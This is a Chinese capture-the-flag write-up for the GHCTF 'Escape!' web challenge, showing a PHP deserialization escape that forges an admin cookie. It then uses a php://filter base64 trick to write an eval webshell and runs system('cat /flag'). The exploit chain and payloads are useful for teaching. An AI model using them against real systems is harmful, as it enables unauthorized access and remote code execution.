ctf-web:php反序列化逃逸 -- GHCTF Escape!

step 1 寻找利用点

随便注册一个进去,能写入文件

php 复制代码
<?php  
ini_set('display_errors', 0);  
error_reporting(0);  
include "class.php";  
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {  
    // 获取 Cookie 内容  
    if (isset($_COOKIE[$cookieName])) {  
        $token = $_COOKIE[$cookieName];  
  
        // 解码并分割数据和签名  
        $decodedToken = base64_decode($token);  
        list($serializedData, $providedSignature) = explode('|', $decodedToken);  
  
        // 重新计算签名  
        $calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);  
  
        // 比较签名是否一致  
        if ($calculatedSignature === $providedSignature) {  
            // 签名验证通过,返回序列化的数据  
            return $serializedData;  // 反序列化数据  
        } else {  
            // 签名验证失败  
            return false;  
        }  
    }  
    return false;  // 如果没有 Cookie}  
  
// 示例:验证并读取 Cookie$userData = checkSignedCookie();  
if ($userData) {  
    #echo $userData;  
    $user=unserialize($userData);  
    #var_dump($user);  
    if($user->isadmin){  
        $tmp=file_get_contents("tmp/admin.html");  
  
        echo $tmp;  
  
        if($_POST['txt']) {  
            $content = '<?php exit; ?>';  
       $content .= $_POST['txt'];  
       file_put_contents($_POST['filename'], $content);  
        }  
    }  
    else{  
        $tmp=file_get_contents("tmp/admin.html");  
        echo $tmp;  
        if($_POST['txt']||$_POST['filename']){  
        echo "<h1>权限不足,写入失败<h1>";  
}  
    }  
} else {  
    echo 'token验证失败';  
}

step 2 寻找伪造admin的方法

漏洞点出现在这里

php 复制代码
$User=login($SQL,$username,$password);  
  
$User_ser=waf(serialize($User));  
  
setSignedCookie($User_ser);  
  
header("Location: dashboard.php");
php 复制代码
function waf($c)  
{  
    $lists=["flag","'","\\","sleep","and","||","&&","select","union"];  
    foreach($lists as $list){  
        $c=str_replace($list,"error",$c);  
    }  
    #echo $c;  
    return $c;  
}

waf会将序列化后的内容替换为error,这是一个test用户应该有的序列化后的字符串

复制代码
O:4:"User":2:{s:8:"username";s:4:"test";s:7:"isadmin";b:0;}

但是如果有用户叫

复制代码
";s:7:"isadmin";b:0;}

他序列化后的数据就是

复制代码
O:4:"User":2:{s:8:"username";s:21:"";s:7:"isadmin";b:0;}";s:7:"isadmin";b:0;}

我们要伪造isadmin为1

复制代码
";s:7:"isadmin";b:1;}

接下来利用'将一个字符变为五个,也就是多出四个字符,我们需要想办法对其齐s:21,但是21不能被4整除,我们还得配合其他字符

复制代码
'''''flag";s:7:"isadmin";b:1;}

序列化后的内容会从

复制代码
O:4:"User":2:{s:8:"username";s:30:"'''''flag";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}

变成

复制代码
O:4:"User":2:{s:8:"username";s:30:"errorerrorerrorerrorerrorerror";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}

即可成功伪造admin

step 3 文件写入拿shell

使用伪协议filter写和base64解码特性卡掉后面的东西

复制代码
<?php eval($_POST[123])?>

filename=php://filter/convert.base64-decode/resource=./shell.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

后端和<?php exit; ?>拼上就是

复制代码
<?php exit; ?>aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

base64解码后是

复制代码
¦^Æ+Z<?php eval($_POST[123])?>

然后post获取flag即可

复制代码
123=system('cat /flag');
相关推荐
望获linux29 分钟前
【Linux基础知识系列】第一百一十篇 - 使用Nmap进行网络安全扫描
java·linux·开发语言·前端·数据库·信息可视化·php
做一位快乐的码农8 小时前
php程序设计之基于PHP的手工艺品销售网站/基于php在线销售系统/基于php在线购物商城系统
开发语言·php
苏琢玉12 小时前
一个轻量的PHP+Vue的前后端加密方案,写给有类似需求的朋友
php·composer
Johny_Zhao17 小时前
Conda、Anaconda、Miniconda对比分析
linux·网络安全·信息安全·kubernetes·云计算·conda·shell·containerd·anaconda·yum源·系统运维·miniconda
piikee21 小时前
php内存缓存插件yac的安装配置--平替apcu,多进程共享内存
开发语言·缓存·php·yac·php扩展·php内存缓存·apcu平替
m0_738120721 天前
CTFshow系列——命令执行web53-56
前端·安全·web安全·网络安全·ctfshow
WayneJoon.H1 天前
CTFSHOW | 其他篇题解(一)web396-web416
sql·安全·web安全·网络安全·php
彤银浦2 天前
PHP学习笔记1
笔记·学习·php
电商数据girl2 天前
Python 爬虫获得淘宝商品详情 数据【淘宝商品API】
大数据·开发语言·人工智能·爬虫·python·json·php
qingtian!3 天前
vulnhub-billu_b0x靶机渗透
网络安全·渗透测试